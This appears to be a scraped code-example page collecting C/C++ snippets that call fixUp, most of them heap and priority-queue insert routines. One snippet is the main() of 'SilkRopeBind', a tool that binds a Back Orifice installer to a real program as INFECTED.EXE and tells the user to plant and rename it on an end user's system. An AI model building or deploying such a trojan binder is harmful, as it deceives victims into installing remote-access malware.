Exemple #1
0
void PQinsert(Item k)
{
	int i;
	N++;
	//increase the size of the pq

	//put the new item at the end of the array
	pq[N] = k;
	
	//restore the heap condition w/ the new number of items in the array
	fixUp(N);
}
/////////////////////////////////////////////////////////////////
// Main
int main( int argc, char *argv[ ])
{
	char BOInstaller[255];
	char realProgram[255];

	srand( (unsigned)time( NULL ) );
	printf("SilkRopeBind -- Binds the BO Installer to a \"real\" program\n");
	printf(" by Brian Enigma <*****@*****.**>\n\n");
	printf("BO_INSTALLER + REAL_PROGRAM --> INFECTED.EXE\n");
	printf("File name of your Back Orifice installer? [defaults to BOSERVE.EXE]\n");
	fgets(BOInstaller, 254, stdin); fixUp(BOInstaller);
	if (BOInstaller[0]==0) {strcpy(BOInstaller, "BOSERVE.EXE"); printf("BOSERVE.EXE\n");}
	printf("File name of the \"real\" program to be run?\n(it will not be modified in any way, only copied into INFECTED.EXE\n");
	fgets(realProgram, 254, stdin); fixUp(realProgram);
	if (bind(BOInstaller, realProgram))
	{
		printf("INFECTED.EXE now appears, to the end user, to be %s.\n", realProgram);
		printf("You will want to copy it to the end user's system, then\n");
		printf("rename it to %s\n", realProgram);
	}
	return 0;
}
void addNode (PriQ q, Node n) {
    if (q == NULL) {
        fprintf(stderr, "PriQ uninitialised! Insert failed.\n");
        exit(1);
    }
    if (q->numItems == q->arraySize) {
        fprintf(stderr, "PriQ full! Insert failed.\n");
        fprintf(stderr, "This may help debug:\n");
        fprintf(stderr, "%d, %d\n", q->numItems, q->arraySize);
        fprintf(stderr, "Node depth: %d\n", getDepth(n));
        exit(1);
    }

    q->numItems++;
    q->heap[q->numItems] = n;
    fixUp(q->heap, q->numItems);
}
Exemple #4
0
 void insert(Item item)
 { pq[++N] = item; fixUp(pq, N); }
Exemple #5
0
void insertHeap(Item heap[], int n, Item v){
    heap[++n] = v;
    fixUp(heap, n);
}
void pqueue::lower(int k) {
     fixUp(qp[k]);
}
void pqueue::insert(int v) {
     ++n;
     pq[n] = v;
     qp[v] = n;
     fixUp(n);
}
void PQinsert(Item v)
{
  pq[++N] = v;
  fixUp(pq, N);
}
Exemple #9
0
void PQinsert(int v){
  pq[++N] = v;
  fixUp(pq, N);
}